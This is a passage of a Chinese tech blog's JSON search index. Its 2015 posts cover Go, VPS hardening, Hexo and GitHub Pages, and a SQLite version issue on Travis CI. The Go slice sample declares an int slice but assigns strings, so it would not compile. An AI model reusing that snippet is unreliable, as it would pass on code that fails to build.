都要乖乖處理，不要偷懶，才不會忘記要做資源釋放\n","permalink":"https://blog.syhlion.tw/2015/10/remember-to-make-the-release-when-writing-go/","summary":"\u003cp\u003e最近在寫 go 時，碰到一個地雷，花了一整天，最終發現是很基本的問題，看來自己功力還是太淺，在這方面還需要多加強，在這裡紀錄一下歷程\u003c/p\u003e","title":"寫 go 時 要記得做資源釋放"},{"content":"前陣子幫公司寫了一個核心的 websocket 推送 proxy，剛好自己在練習 go 所以理所當然就用 go 來實現它，這個專案的核心概念是模仿 Pusher 的概念，基本上只要啟動這個服務，client端(html) 連線後，可以透過這個服務提供的 api 推送訊息給 client。\n在開發前期有考慮用 nodejs + socketio 當作 solution，但有稍微去看了一下 socketio 的 source 發現它不是完全基於 websocket RFC6455 協定，而且有用到 long polling，我猜是因為它為了通融大部分舊版瀏覽器所作的妥協，再加上我個人不太喜歡 nodejs 版本一直不太穩定，雖然有一堆很潮的套件可以用，但是常常一更新就爆的亂七八糟，後來經強者我同事介紹，才決定用 go。\n這個案子的 websocket 部份也不是純手刻，是基於 gorilla websocket 延伸，畢竟自己刻 RFC6455 那些握手協定，實在有夠鎖碎，就選擇站在巨人的肩膀上了。我有把它 release 到 github 上面 Gusher。\n現在版本比較穩定了，除了重構，api部份應該是不會在翻修了。目前還沒寫上 test，之後有空可能要補上去了，benchmark 的部份，對這方面還沒什麼概念，還在閱讀相關文件，如果有哪位前輩，看到願意指教的話，感激不盡\n這個案子算是學 go 3個多月以來，第一個實現性+練習性的專案，還在摸索 go 這個語言的特性，還在摸索如何寫的更漂亮，雖然它不是很純的 OOP ，但是軟體工程領域， OCP 原則我覺得是任何地方的都通用的。這也是我想掌握的地方。\n","permalink":"https://blog.syhlion.tw/2015/10/gusher-introduction/","summary":"\u003cp\u003e前陣子幫公司寫了一個核心的 websocket 推送 proxy，剛好自己在練習 go 所以理所當然就用 go 來實現它，這個專案的核心概念是模仿 \u003ca href=\"https://pusher.com/docs\"\u003ePusher\u003c/a\u003e 的概念，基本上只要啟動這個服務，client端(html) 連線後，可以透過這個服務提供的 api 推送訊息給 client。\u003c/p\u003e","title":"Gusher 專案介紹"},{"content":"之前買了一台 Vulrt.com 的 VPS，有興趣的可以參閱 ，我個人採用 Debian Jessie 當作 OS，發現其實該注意的地方不少，不像自己的開發機可以惡搞，一些安全性設定還是要有，這也是第一次自己搞了一台 Server 放上去，這邊分享一下我自己的啟動設定\n新增使用者 使用者新增時使用 adduser 別使用 useradd，前者是一個互動式指令，對於不熟 Linux 的人比較親切，建議來說，有需要對外服務的使用者，盡量不要有 root 權限，跟可以 ssh login\n安全性設定 首先，VPS 安裝完後，我心裡期望的設定是，關掉所有 password login，都要用 ssh key 登入，並且關掉 root 從外面登入的權限，所以首先要先到/etc/ssh/sshd_config 裡面\n關掉 Root 登入\nPermitRootLogin no 再來關掉 password login\nPasswordAuthentication no 最後在重起一下 ssh\nsudo /etc/init.d/ssh reload 要關掉主機的 icmp 回應，也就是所謂的 ping 回應，可以用下列指令\necho 1 \u0026gt;/proc/sys/net/ipv4/icmp_echo_ignore_all 要在開啟回應就\necho 0 \u0026gt;/proc/sys/net/ipv4/icmp_echo_ignore_all ","permalink":"https://blog.syhlion.tw/2015/09/linux-startup-note/","summary":"\u003cp\u003e之前買了一台 Vulrt.com 的 VPS，有興趣的可以\u003ca href=\"http://blog.syhlion.tw/2015/08/11/vultrcom-vps-reviews/\"\u003e參閱\u003c/a\u003e ，我個人採用 Debian Jessie 當作 OS，發現其實該注意的地方不少，不像自己的開發機可以惡搞，一些安全性設定還是要有，這也是第一次自己搞了一台 Server 放上去，這邊分享一下我自己的啟動設定\u003c/p\u003e","title":"Linux 啟動服務 筆記"},{"content":"之前在學習 golang 時，一直在他的 slice 有一些疑惑，就把一些重點紀錄下來，幫助自己以後翻查。在這邊先複習一下，golang 有兩種很相似的集合型態，那就是有 Array 跟 Slice，先來看看 Array。\nArray var a[5]string a[0] = \u0026#34;A\u0026#34; a[1] = \u0026#34;B\u0026#34; a[2] = \u0026#34;C\u0026#34; a[3] = \u0026#34;D\u0026#34; a[4] = \u0026#34;E\u0026#34; // array 只要宣告了變數即可使用，不需要做初始化 看看 Array 的示意圖\nSlice var a[]int a = make([]int,5,5) a[0] = \u0026#34;A\u0026#34; a[1] = \u0026#34;B\u0026#34; a[2] = \u0026#34;C\u0026#34; a[3] = \u0026#34;D\u0026#34; a[4] = \u0026#34;E\u0026#34; // slice 需要使用 make 做初始化才能開始使用 這是兩者最明顯的差別，接下來談談 Slice 內部運作的原理\n首先 Slice 裡面會有三種資料型態紀錄\n如果以上面 code 範例示意，他的初始化圖會像下面這樣\n那我們繼續延伸一下\ns = a[2:4] //s[0] == \u0026#34;C\u0026#34; //s[1] == \u0026#34;D\u0026#34; //len(s) == 2 //cap(s) == 3 s[0] = \u0026#34;Z\u0026#34; // a[2] == \u0026#34;Z\u0026#34; 這段是拿來證明 s是參照到 a Slice 切片出來的東西，都是創建一個新的Slice指向原本的Slice，所以原本的abcde slice，被切成 2-4，就會變成只有 C 跟 D, 但他的容量(cap)一開始規劃出來是 5，5-2=3，長度(len)則是 4-2=2。\nSlice 有一個重點就是在於 長度(len)不可大於(cap)否則會噴錯。\nSlice 陷阱 我們常常需要取用某個小段的 Slice ，但 Slice 的原理都是給出參照，以上面為例，我們可能只需要 C, D 兩值，但是用 Slice 取出來卻會造成，其他 A , B , E 都一直存活著， 比較好的作法是用 copy，要如何 copy 呢，來看個範例\ncopy 是 buit-in function\n//做一個跟 a 長度相同的 slice c:=make([]string,len(a)) //這樣子 c 就是複製出來的 Slice 而不是參考指向 copy(c,s) ","permalink":"https://blog.syhlion.tw/2015/09/go-slice-note/","summary":"\u003cp\u003e之前在學習 golang 時，一直在他的 slice 有一些疑惑，就把一些重點紀錄下來，幫助自己以後翻查。在這邊先複習一下，golang 有兩種很相似的集合型態，那就是有 Array 跟 Slice，先來看看 Array。\u003c/p\u003e","title":"Go slice 筆記"},{"content":"之前就一直很想買一台便宜的 VPS 來玩，考慮的有 Linode、DigitalOcean，但自己本身用量很小，雖然大家都推薦 Linode 日本機房對台灣來說 cp 值很高的選擇， 但就在我要刷下去當下，發現Linode 日本機房缺貨，想買還不一定買得到。然後開始轉向第二目標，DigitalOcean\n先來看看 DigitalOcean 的 價目表 最便宜的方案 $5/mo 1tb trandfer 來說算陽春，但當實踐機應該也堪用了，BUT 它最近的機房是新加坡，稍微google了一下，普遍人的心得，都是台灣對新加坡的連線速度不是很快， 不過在搜尋DigitalOcean當中，無意間看到有人推薦我之前沒注意過得 Vultr.com ，號稱DigitalOcean的的最大競爭對手，而且有日本機房！！\n先來看看 Vultr.com 的價目表 很明顯的可以看出差異，Vultr.com 在同樣 $5 情況下，配備硬生生比 DigitalOcean 好上那麼一點，而且又有日本機房可以選擇，對在台灣的人來說，連線速度比較能接受， 不過有個小缺點就是，Vultr.com 他的傳輸量會因地點不同而有所改變，圖片上面最低價格的傳輸量有1TB，但在日本機房起跳是200GB，差異不小，但對我來說放個實驗機，放這個blog，跟放個人網頁，還有跑台gogs， 還游刃有餘的，如果真的不行在考慮升級，或是專移機房，甚至轉戰其他家VPS，但就目前來說還算堪用嚕。\n還有目前 [Vultr.com] 有些特惠的方案，上網找找一些前輩的 refcode 可以得到 $5 的儲值金，差不多可以抵最低方案一個月，當作試用來說還不錯。\n如果不嫌棄的話，我這裡也有一組 refcode，可以用我的 refcode 註冊\nhttp://www.vultr.com/?ref=6844124\n","permalink":"https://blog.syhlion.tw/2015/08/vultrcom-vps-reviews/","summary":"\u003cp\u003e之前就一直很想買一台便宜的 VPS 來玩，考慮的有 Linode、DigitalOcean，但自己本身用量很小，雖然大家都推薦 Linode 日本機房對台灣來說 cp 值很高的選擇，\n但就在我要刷下去當下，發現Linode 日本機房缺貨，想買還不一定買得到。然後開始轉向第二目標，DigitalOcean\u003c/p\u003e","title":"Vultr.com VPS 試用心得"},{"content":"最近在用 go 的 time package，要把一些 unixtime 變成肉眼看得懂的時間格式，發現 go 時間格式的用法跟以前學過得語言有很大的不同，\n以php來說，php的time format可以像下面的用法:\ndate(\u0026#34;Y/m/d H:i:s,time()); 以go來說語法會像\ntime.Now().Format(\u0026#34;2006/01/02 15:04:05\u0026#34;) 為什麼會這樣呢？ 難道是 2006-01-02 15:04:05 發生了什麼事情？ 先看一下他的src\nconst ( _ = iota stdLongMonth = iota + stdNeedDate // \u0026#34;January\u0026#34; stdMonth // \u0026#34;Jan\u0026#34; stdNumMonth // \u0026#34;1\u0026#34; stdZeroMonth // \u0026#34;01\u0026#34; stdLongWeekDay // \u0026#34;Monday\u0026#34; stdWeekDay // \u0026#34;Mon\u0026#34; stdDay // \u0026#34;2\u0026#34; stdUnderDay // \u0026#34;_2\u0026#34; stdZeroDay // \u0026#34;02\u0026#34; stdHour = iota + stdNeedClock // \u0026#34;15\u0026#34; stdHour12 // \u0026#34;3\u0026#34; stdZeroHour12 // \u0026#34;03\u0026#34; stdMinute // \u0026#34;4\u0026#34; stdZeroMinute // \u0026#34;04\u0026#34; stdSecond // \u0026#34;5\u0026#34; stdZeroSecond // \u0026#34;05\u0026#34; stdLongYear = iota + stdNeedDate // \u0026#34;2006\u0026#34; stdYear // \u0026#34;06\u0026#34; stdPM = iota + stdNeedClock // \u0026#34;PM\u0026#34; stdpm // \u0026#34;pm\u0026#34; stdTZ = iota // \u0026#34;MST\u0026#34; stdISO8601TZ // \u0026#34;Z0700\u0026#34; // prints Z for UTC stdISO8601SecondsTZ // \u0026#34;Z070000\u0026#34; stdISO8601ColonTZ // \u0026#34;Z07:00\u0026#34; // prints Z for UTC stdISO8601ColonSecondsTZ // \u0026#34;Z07:00:00\u0026#34; stdNumTZ // \u0026#34;-0700\u0026#34; // always numeric stdNumSecondsTz // \u0026#34;-070000\u0026#34; stdNumShortTZ // \u0026#34;-07\u0026#34; // always numeric stdNumColonTZ // \u0026#34;-07:00\u0026#34; // always numeric stdNumColonSecondsTZ // \u0026#34;-07:00:00\u0026#34; stdFracSecond0 // \u0026#34;.0\u0026#34;, \u0026#34;.00\u0026#34;, ... , trailing zeros included stdFracSecond9 // \u0026#34;.9\u0026#34;, \u0026#34;.99\u0026#34;, ..., trailing zeros omitted stdNeedDate = 1 \u0026lt;\u0026lt; 8 // need month, day, year stdNeedClock = 2 \u0026lt;\u0026lt; 8 // need hour, minute, second stdArgShift = 16 // extra argument in high bits, above low stdArgShift stdMask = 1\u0026lt;\u0026lt;stdArgShift - 1 // mask out argument ) 裡面就有講到他的設定，就是照這幾個數字去 parse，記憶口訣是基於 01/02 03:04:05PM '06 -0700 有沒有注意到？剛好是 1234567 的順序，很難講這個有別於其他語言的設定，到底是好還是不好，不過要花點時間去適應就是了。\n","permalink":"https://blog.syhlion.tw/2015/08/how-to-format-time-in-go/","summary":"\u003cp\u003e最近在用 go 的 time package，要把一些 unixtime 變成肉眼看得懂的時間格式，發現 go 時間格式的用法跟以前學過得語言有很大的不同，\u003c/p\u003e","title":"如何在 Go 裡面time format"},{"content":"這幾天剛好需要一個可以即時看 markdown 即時編輯的軟體，找了一下發現之前用過得 atom release 1.0了，他是由 Github 推出的，用起來雖然啟動速度跟 sublime 比，稍嫌慢一點，最近剛好又回來碰 nodejs，選一個可以用 js 寫 plugin 的 editor 也合情合理。\n不過現在 atom 在 linux 上中文支援度實在是很差，稍微找了一下目前的解法，在一般編輯界面裡面中文亂碼需要先到 Edit\u0026gt;Preference\u0026gt; 裡面的 font family 字型方面，我個人是填入 inconsolata,Droid Sans Fallback 前者是我慣用的 coding 字型，後者是拿來顯示中文註解用。\n另外還有一個地方也要修改，不然 markdown preview 時，也會有亂碼問題，先到 Edit\u0026gt;Open Your Stylesheet 裡面新增 class 屬性\n.markdown-preview{ font-family: \u0026#34;Droid Sans Fallback\u0026#34; !important; } 這樣就能解決，markdown裡面有中文preview會有亂碼問題\n至於推薦套件，可以參考這位作者所推薦的，目前我是照它推薦的名單做安裝試用\n","permalink":"https://blog.syhlion.tw/2015/07/atom-reviews/","summary":"\u003cp\u003e這幾天剛好需要一個可以即時看 \u003ca href=\"https://zh.wikipedia.org/wiki/Markdown\"\u003emarkdown\u003c/a\u003e 即時編輯的軟體，找了一下發現之前用過得 \u003ca href=\"https://atom.io/\"\u003eatom\u003c/a\u003e release 1.0了，他是由 \u003ca href=\"https://github.com\"\u003eGithub\u003c/a\u003e 推出的，用起來雖然啟動速度跟 sublime 比，稍嫌慢一點，最近剛好又回來碰 nodejs，選一個可以用 js 寫 plugin 的 editor 也合情合理。\u003c/p\u003e","title":"Atom 1.0 使用心得"},{"content":"之前興起想要紀錄自己工作的筆記，陸陸續續找了一些技術 blog 平台，ex Blogger、 Logdown\u0026hellip;，發現像 Blogger 並不能使用現在很潮的的 Markdown， Logdown 要 custom domain 需要付費，但覺得自己並不是很高文字量產出的作者，少少文章要用到付費功能，似乎也不太划算。後來考慮自己架，發現租vps費用也不便宜，還要還要自己負責一些主機的設定，不是很好的方案\n最後決定用 GitHub Pages 的功能，原因有幾種，使用 Github 感覺很潮，身為一個工程師用個 Github 寫 blog 也是理所當然，有搜尋到幾個常見的套件，第一個就是 GitHub 官網推薦的 jeklly 以及 Octopress \u0026amp; Hexo 前兩是試用 Ruby 完成的套件，最後一個是 Javascript 實現的，不過最初我一直卡在 rvm 的環境一直踩雷，後來改成用 npm 非常的好使用，就決定使用 Hexo。\n基本上推薦幾個必備套件:\nhexo-deployer-git (部屬github必備) hexo-generator-sitemap (產生sitemap.xml) hexo-generator-feed (產生rss atom.xml) hexo-generator-tag (依文章內容產生tag) hexo-generator-category (依文章內容產生 category) 更多套件以及安裝使用方法都在 Hexo Plugin 請自行參閱。\n大致上 Hexo 官網有非常詳盡的安裝說明，只要 npm 安裝完後就可以開始按表操課了。\n在 GitHub 如果你要創建個人頁面請先建立一個一個專案名稱為 username.github.io，然後在 hexo 專案裡的 _config.yml 設定如下：\ndeploy: type: git repo: git@github.com:username/username.github.io.git branch: master message: 接著只要再下\nhexo generate -d //產生完立即部屬 然後直接訪問 {username}.github.io 即可。\n如果是要做專案頁面，設定方式稍有不同，要在專案分支(branch)，另開一個叫做 gh-pages 的分支，hexo 設定如下：\ndeploy: type: git repo: git@github.com:{username}/project.git branch: gh-pages message: 部屬完，訪問 {username}.github.io/project 這樣就完成了。 如果有需要 custom domain 請參閱我的令一篇文章。\n","permalink":"https://blog.syhlion.tw/2015/06/how-to-write-blog-in-github/","summary":"\u003cp\u003e之前興起想要紀錄自己工作的筆記，陸陸續續找了一些技術 blog 平台，ex \u003ca href=\"https://www.blogger.com\" title=\"Blogger\"\u003eBlogger\u003c/a\u003e、 \u003ca href=\"http://logdown.com\" title=\"Logdown\"\u003eLogdown\u003c/a\u003e\u0026hellip;，發現像 \u003ca href=\"https://www.blogger.com\" title=\"Blogger\"\u003eBlogger\u003c/a\u003e 並不能使用現在很潮的的 \u003cem\u003eMarkdown\u003c/em\u003e， \u003ca href=\"http://logdown.com\" title=\"Logdown\"\u003eLogdown\u003c/a\u003e 要 custom domain 需要付費，但覺得自己並不是很高文字量產出的作者，少少文章要用到付費功能，似乎也不太划算。後來考慮自己架，發現租vps費用也不便宜，還要還要自己負責一些主機的設定，不是很好的方案\u003c/p\u003e","title":"如何使用 GitHub 寫 blog"},{"content":"最近一直想弄一個自己的個人網站跟 blog ，但自己好像需求不大，大部分都是靜態頁面，為了這個去租vps，好像又有點太浪費了， 研究了一下 GitHub Pages完全符合我的需求，可以製作個人的靜態頁面、resume、還可以寫 blog 不過這不是這篇筆記的重點，要客製化 Domain ，首先一定要先去註冊一組 Domain 了。\n我註冊的是 .tw 的 Domain， 所以我選在台灣註冊比較便宜，我是選擇 網路中文 ，當然如果選擇註冊 .com 或是其他結尾的可以去 Godaddy 或是 Google Doamin 都是相對便宜很多的，有些特價時一年不到 300 台幣。\n我註冊完 網路中文 的 Domain 後 我覺得他的管理界面很爛，限制也不少，我就用了 Godaddy 的免費代管服務有興趣的可以看 香腸炒魷魚 裡面唯一要注意的一點就是 網路中文 要選擇自管 DNS 裡面要提供相對應 ip ，只要自己去 ping 上述教學裡面提到的 兩組 DNS 對應，就可以得到 ip 了 在台灣能註冊的地方還有很多 ex 中華電信 \u0026hellip;. 接下來講的大部分 GitHub 都有詳細說明了，不過我還是摸索挺久的，所以自己做個紀錄，\n首先我一直漏掉的步驟就是，要在專案的根目錄，加入CNAME檔案，裡面打入你所想要的 Domain。Domain 設定有分一下兩種 root domain 直接開一個 {username}.github.io 專案，在底下加入 CNAME project domain 要另外開一個叫做gh-pages的分支，設定成default 加入 CNAME 再來就要去你的dns那邊設定，以我來說我是設定一組A record 以 godaddy 設定 如下 (這組是指向User Site用)\n接下來Project Site 就用 CNAME 來達成， 設定如下\n","permalink":"https://blog.syhlion.tw/2015/06/custom-github-domain/","summary":"\u003cp\u003e最近一直想弄一個自己的個人網站跟 blog ，但自己好像需求不大，大部分都是靜態頁面，為了這個去租vps，好像又有點太浪費了，\n研究了一下 \u003ca href=\"https://pages.github.com/\"\u003eGitHub Pages\u003c/a\u003e完全符合我的需求，可以製作個人的靜態頁面、resume、還可以寫 blog 不過這不是這篇筆記的重點，要客製化 Domain ，首先一定要先去註冊一組 Domain 了。\u003c/p\u003e","title":"如何客制GitHub Domain"},{"content":"最近開發 php composer 有一個功能打算用sqllite當資料庫，因為功能裡面有sql batch功能，本機端跑phpunit都是通過的，結果上 travis-ci 測試，怎麼測都測不過，後來發現原來是3.7.11之前的版本不支援sql batch。所以合理懷疑 travis-ci 上面的 sqlite 版本是3.7.11之前。\n根據 stackoverflow 上面的 解答\nSQLite 3.7.11 and above now supports the simpler syntax of the original post\n唯一解法就像是答案所說的 ( 2015/06/11 請參考最後的補充)\nINSERT INTO \u0026#39;tablename\u0026#39; (\u0026#39;column1\u0026#39;, \u0026#39;column2\u0026#39;) VALUES (\u0026#39;data1\u0026#39;, \u0026#39;data2\u0026#39;), (\u0026#39;data3\u0026#39;, \u0026#39;data4\u0026#39;), (\u0026#39;data5\u0026#39;, \u0026#39;data6\u0026#39;), (\u0026#39;data7\u0026#39;, \u0026#39;data8\u0026#39;); to\nINSERT INTO \u0026#39;tablename\u0026#39; SELECT \u0026#39;data1\u0026#39; AS \u0026#39;column1\u0026#39;, \u0026#39;data2\u0026#39; AS \u0026#39;column2\u0026#39; UNION SELECT \u0026#39;data3\u0026#39;, \u0026#39;data4\u0026#39; UNION SELECT \u0026#39;data5\u0026#39;, \u0026#39;data6\u0026#39; UNION SELECT \u0026#39;data7\u0026#39;, \u0026#39;data8\u0026#39; or\nINSERT INTO \u0026#39;tablename\u0026#39; (\u0026#39;column1\u0026#39;, \u0026#39;column2\u0026#39;) VALUES (\u0026#39;data1\u0026#39;, \u0026#39;data2\u0026#39;); INSERT INTO \u0026#39;tablename\u0026#39; (\u0026#39;column1\u0026#39;, \u0026#39;column2\u0026#39;) VALUES (\u0026#39;data3\u0026#39;, \u0026#39;data4\u0026#39;); INSERT INTO \u0026#39;tablename\u0026#39; (\u0026#39;column1\u0026#39;, \u0026#39;column2\u0026#39;) VALUES (\u0026#39;data5\u0026#39;, \u0026#39;data6\u0026#39;); INSERT INTO \u0026#39;tablename\u0026#39; (\u0026#39;column1\u0026#39;, \u0026#39;column2\u0026#39;) VALUES (\u0026#39;data7\u0026#39;, \u0026#39;data8\u0026#39;); 2015/06/11 補充 後來發現原來是自己不懂 travis-ci 裡面 .travis.yml 的用法 它可以做客製化依賴環境安裝，也就是可以依你需求升級 sqlite 版本，所以只要多加下面指令即可， 就可以不用為了版本問題，遷就它改寫，畢竟3.7.11之前真的是還頗舊的版本 before_install: - sudo apt-get autoremove sqlite3 - sudo apt-get install python-software-properties - sudo apt-add-repository -y ppa:travis-ci/sqlite3 - sudo apt-get -y update - sudo apt-cache show sqlite3 - sudo apt-get install sqlite3=3.7.15.1-1~travis1 - sudo sqlite3 -version ","permalink":"https://blog.syhlion.tw/2015/03/sqlite-trap/","summary":"\u003cp\u003e最近開發 php composer 有一個功能打算用sqllite當資料庫，因為功能裡面有sql batch功能，本機端跑phpunit都是通過的，結果上 \u003ca href=\"https://travis-ci.org/\"\u003etravis-ci\u003c/a\u003e 測試，怎麼測都測不過，後來發現原來是3.7.11之前的版本不支援sql batch。所以合理懷疑 \u003ca href=\"https://travis-ci.org/\"\u003etravis-ci\u003c/a\u003e 上面的 sqlite 版本是3.7.11之前。\u003c/p\u003e","title":"最近開發碰到的 Sqlite 地雷"}]